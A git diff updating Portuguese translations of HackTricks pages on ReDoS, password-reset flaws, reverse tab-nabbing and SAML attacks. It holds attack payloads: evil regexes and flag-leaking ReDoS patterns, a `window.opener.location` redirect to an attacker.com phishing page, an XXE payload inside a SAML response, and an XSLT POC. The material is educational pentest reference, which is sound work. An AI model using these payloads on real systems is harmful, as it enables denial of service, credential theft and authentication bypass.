Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém se aproveita das fraquezas de como as expressões regulares (uma maneira de pesquisar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando fica maior. Essa lentidão pode se tornar tão ruim que cresce muito rapidamente com pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo período de tempo.
## O Algoritmo Naïve de Regex Problemático
@ -26,7 +26,7 @@ Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém s
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
Um padrão de expressão regular malicioso é aquele que pode **ficar preso em uma entrada manipulada causando um DoS**. Os padrões de regex maliciosos geralmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
Um padrão malicioso de expressão regular é aquele que pode **ficar preso em uma entrada manipulada causando um DoS**. Os padrões de regex maliciosos normalmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
* (a+)+
* ([a-zA-Z]+)*
@ -36,7 +36,7 @@ Um padrão de expressão regular malicioso é aquele que pode **ficar preso em u
Todos esses são vulneráveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## Payloads ReDoS
## Cargas Úteis ReDoS
### Exfiltração de String via ReDoS
@ -44,10 +44,10 @@ Em um CTF (ou recompensa por bugs) talvez você **controle o Regex com o qual um
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar esta:`<flag>(((((((.*)*)*)*)*)*)*)!`
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlando Entrada e Regex
### Controle de Entrada e Regex ReDoS
Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto o **regex**:
```javascript
@ -84,7 +84,7 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
# Referências
## Referências
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
@ -99,7 +99,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista em Equipe Vermelha AWS do HackTricks)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
</details>
@ -19,10 +19,10 @@ Outras maneiras de apoiar o HackTricks:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado com os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
@ -38,9 +38,9 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
- [Artigo de Vazamento de Token de Redefinição de Senha](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Envenenamento de Redefinição de Senha**
* Atacantes podem manipular o cabeçalho Host durante solicitações de redefinição de senha para apontar o link de redefinição para um site malicioso.
* Os atacantes podem manipular o cabeçalho Host durante as solicitações de redefinição de senha para apontar o link de redefinição para um site malicioso.
* **Correção**: Use `$_SERVER['SERVER_NAME']` para construir URLs de redefinição de senha em vez de `$_SERVER['HTTP_HOST']`.
* **Impacto**: Leva à possível tomada de conta vazando tokens de redefinição para atacantes.
* **Impacto**: Leva à possível tomada de conta vazando tokens de redefinição para os atacantes.
* **Passos de Mitigação**:
- Valide o cabeçalho Host em relação a uma lista branca de domínios permitidos.
- Use métodos seguros do lado do servidor para gerar URLs absolutos.
@ -48,15 +48,15 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
- [Artigo da Acunetix sobre Envenenamento de Redefinição de Senha](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Redefinição de Senha Manipulando Parâmetro de Email**
* Atacantes podem manipular a solicitação de redefinição de senha adicionando parâmetros de email adicionais para desviar o link de redefinição.
* Os atacantes podem manipular a solicitação de redefinição de senha adicionando parâmetros de email adicionais para desviar o link de redefinição.
* **Passos de Mitigação**:
- Analise e valide corretamente os parâmetros de email do lado do servidor.
- Use declarações preparadas ou consultas parametrizadas para evitar ataques de injeção.
* **Referências**:
- [Takeover de Conta Readme.com](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
## **Alterando Email e Senha de Qualquer Usuário através de Parâmetros de API**
* Atacantes podem modificar parâmetros de email e senha em solicitações de API para alterar credenciais da conta.
## **Alteração de Email e Senha de Qualquer Usuário por Meio de Parâmetros de API**
* Os atacantes podem modificar os parâmetros de email e senha em solicitações de API para alterar as credenciais da conta.
* **Passos de Mitigação**:
- Garanta validação rigorosa de parâmetros e verificações de autenticação.
- Implemente registro e monitoramento robustos para detectar e responder a atividades suspeitas.
@ -74,7 +74,7 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
## **Descubra Como o Token de Redefinição de Senha é Gerado**
* Compreender o padrão ou método por trás da geração de tokens pode levar à previsão ou força bruta de tokens.
* **Passos de Mitigação**:
- Use métodos criptográficos fortes para geração de tokens.
- Use métodos criptográficos fortes para a geração de tokens.
- Garanta aleatoriedade e comprimento suficientes para evitar previsibilidade.
* **Ferramentas**: Use o Burp Sequencer para analisar a aleatoriedade dos tokens.
@ -88,7 +88,7 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
* Manipulação de respostas HTTP para contornar mensagens de erro ou restrições.
* **Passos de Mitigação**:
- Implemente verificações do lado do servidor para garantir a integridade da resposta.
- Use canais de comunicação seguros como HTTPS para evitar ataques de homem no meio.
- Use canais de comunicação seguros como HTTPS para evitar ataques de homem-no-meio.
* **Referência**:
- [Bug Crítico em Evento de Recompensa por Bugs ao Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
@ -118,7 +118,7 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
* **Passos de Mitigação**:
- Defina um tempo de expiração razoável para os tokens de redefinição e aplique estritamente do lado do servidor.
# Referências
## Referências
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -126,10 +126,10 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado com os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
@ -138,14 +138,14 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista em Equipe Vermelha AWS do HackTricks)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
</details>

View file

@ -4,10 +4,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -18,7 +18,7 @@ Outras maneiras de apoiar o HackTricks:
Em uma situação em que um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicado por uma vítima, o **atacante** pode **apontar** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site malicioso** será capaz de **controlar** a **página original** via o objeto javascript **`window.opener`**.\
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela também pode ser vulnerável.
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **pareça com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
No entanto, observe que como o **atacante agora pode controlar o objeto de janela do site original** ele pode abusar de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
@ -79,7 +79,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>
No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript **window**, referenciadas pelo objeto JavaScript **opener**, que podem ser acessadas por um site malicioso são limitadas às seguintes:
No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript **window**, referenciadas pelo objeto JavaScript **opener**, que podem ser acessadas por um site malicioso estão limitadas às seguintes:
- **`opener.closed`**: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
- **`opener.frames`**: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
@ -106,12 +106,12 @@ As informações de prevenção estão documentadas na [HTML5 Cheat Sheet](https
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -11,7 +11,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -28,7 +28,7 @@ Outras maneiras de apoiar o HackTricks:
## Viagem de ida e volta XML
No XML, a parte assinada do XML é salva na memória, em seguida, ocorre alguma codificação/decodificação e a assinatura é verificada. Idealmente, essa codificação/decodificação não deve alterar os dados, mas com base nesse cenário, **os dados verificados e os dados originais podem não ser os mesmos**.
No XML, a parte assinada do XML é salva na memória, em seguida, ocorre alguma codificação/decodificação e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria alterar os dados, mas com base nesse cenário, **os dados verificados e os dados originais podem não ser os mesmos**.
Por exemplo, verifique o seguinte código:
```ruby
@ -67,7 +67,7 @@ Para mais informações sobre a vulnerabilidade e como abusá-la:
Nos **ataques de Envoltório de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação tem como objetivo criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante consegue contornar a **proteção de integridade** e **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção.
Os seguintes ataques são baseados em **[este post de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) e [este artigo](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Portanto, consulte-os para mais detalhes.
Os seguintes ataques são baseados neste **[post de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)** e **[neste artigo](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Portanto, consulte-os para mais detalhes.
### XSW #1
- **Estratégia**: Um novo elemento raiz contendo a assinatura é adicionado.
@ -94,7 +94,7 @@ Os seguintes ataques são baseados em **[este post de blog](https://epi052.gitla
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)
### XSW #5
- **Aspecto Único**: Nem a Assinatura nem a Assertion original seguem configurações padrão (envolvente/envelopante/desconectada).
- **Aspecto Único**: Nem a Assinatura nem a Assertion original seguem configurações padrão (envolvente/envelopante/destacada).
- **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
@ -107,7 +107,7 @@ Os seguintes ataques são baseados em **[este post de blog](https://epi052.gitla
### XSW #7
- **Estratégia**: Um elemento Extensions é inserido com a Assertion copiada como filho.
- **Implicação**: Isso explora o esquema menos restritivo do elemento Extensions para contornar contramedidas de validação de esquema, especialmente em bibliotecas como OpenSAML.
- **Implicação**: Isso explora o esquema menos restritivo do elemento Extensions para contornar contramedidas de validação de esquema, especialmente em bibliotecas como o OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
@ -129,7 +129,7 @@ Se você não sabe que tipo de ataques são XXE, por favor, leia a seguinte pág
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
As Respostas SAML são **documentos XML comprimidos e codificados em base64** e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades de XXE. Veja como um ataque desse tipo pode ser visualizado:
As Respostas SAML são **documentos XML comprimidos e codificados em base64** e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades XXE. Veja como um ataque desse tipo pode ser visualizado:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -161,7 +161,7 @@ Para mais informações sobre XSLT, acesse:
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
As Transformações de Linguagem de Folha de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial observar que as **transformações XSLT são realizadas antes da verificação da assinatura digital**. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
As Transformações de Linguagem de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial observar que as **transformações XSLT são realizadas antes da verificação da assinatura digital**. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção, você pode encontrar payloads.
```xml
@ -191,7 +191,7 @@ Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](htt
## Exclusão de Assinatura XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
A **Exclusão de Assinatura XML** observa o comportamento das implementações SAML quando o elemento de Assinatura não está presente. Se este elemento estiver ausente, a **validação da assinatura pode não ocorrer**, tornando-a vulnerável. É possível testar isso alterando o conteúdo que geralmente é verificado pela assinatura.
A **Exclusão de Assinatura XML** observa o comportamento das implementações SAML quando o elemento de Assinatura não está presente. Se este elemento estiver ausente, a **validação da assinatura pode não ocorrer**, tornando-a vulnerável. É possível testar isso alterando o conteúdo que é normalmente verificado pela assinatura.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
@ -203,7 +203,7 @@ Com as assinaturas removidas, permita que a solicitação prossiga para o alvo.
## Falsificação de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
A Falsificação de Certificado é uma técnica para testar se um **Provedor de Serviços (SP) verifica corretamente se uma Mensagem SAML é assinada** por um Provedor de Identidade (IdP) confiável. Envolve o uso de um ***certificado autoassinado** para assinar a Resposta ou Declaração SAML, o que ajuda a avaliar o processo de validação de confiança entre SP e IdP.
A Falsificação de Certificado é uma técnica para testar se um **Provedor de Serviços (SP) verifica corretamente se uma Mensagem SAML é assinada** por um Provedor de Identidade (IdP) confiável. Envolve o uso de um **certificado autoassinado** para assinar a Resposta ou Declaração SAML, o que ajuda a avaliar o processo de validação de confiança entre SP e IdP.
### Como Realizar a Falsificação de Certificado
Os seguintes passos descrevem o processo usando a extensão Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
@ -216,7 +216,6 @@ Os seguintes passos descrevem o processo usando a extensão Burp [SAML Raider](h
6. Assinar a mensagem ou declaração com o novo certificado usando o botão **`(Re-)Assinar Mensagem`** ou **`(Re-)Assinar Declaração`**, conforme apropriado.
7. Encaminhar a mensagem assinada. A autenticação bem-sucedida indica que o SP aceita mensagens assinadas pelo seu certificado autoassinado, revelando potenciais vulnerabilidades no processo de validação das mensagens SAML.
## Confusão de Destinatário de Token / Confusão de Destino do Provedor de Serviços <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
A Confusão de Destinatário de Token e a Confusão de Destino do Provedor de Serviços envolvem verificar se o **Provedor de Serviços valida corretamente o destinatário pretendido de uma resposta**. Em essência, um Provedor de Serviços deve rejeitar uma resposta de autenticação se ela foi destinada a um provedor diferente. O elemento crítico aqui é o campo **Destinatário**, encontrado dentro do elemento **SubjectConfirmationData** de uma Resposta SAML. Este campo especifica uma URL indicando para onde a Declaração deve ser enviada. Se o destinatário real não corresponder ao Provedor de Serviços pretendido, a Declaração deve ser considerada inválida.
@ -225,7 +224,7 @@ A Confusão de Destinatário de Token e a Confusão de Destino do Provedor de Se
Para que um ataque de Confusão de Destinatário de Token SAML (SAML-TRC) seja viável, certas condições devem ser atendidas. Em primeiro lugar, deve haver uma conta válida em um Provedor de Serviços (referido como SP-Legit). Em segundo lugar, o Provedor de Serviços direcionado (SP-Target) deve aceitar tokens do mesmo Provedor de Identidade que atende ao SP-Legit.
O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit via o Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pelo SP-Target aceitando a Declaração, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.
O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit por meio do Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pelo SP-Target aceitando a Declaração, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -298,7 +297,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -7,19 +7,19 @@ Outras maneiras de apoiar o HackTricks:
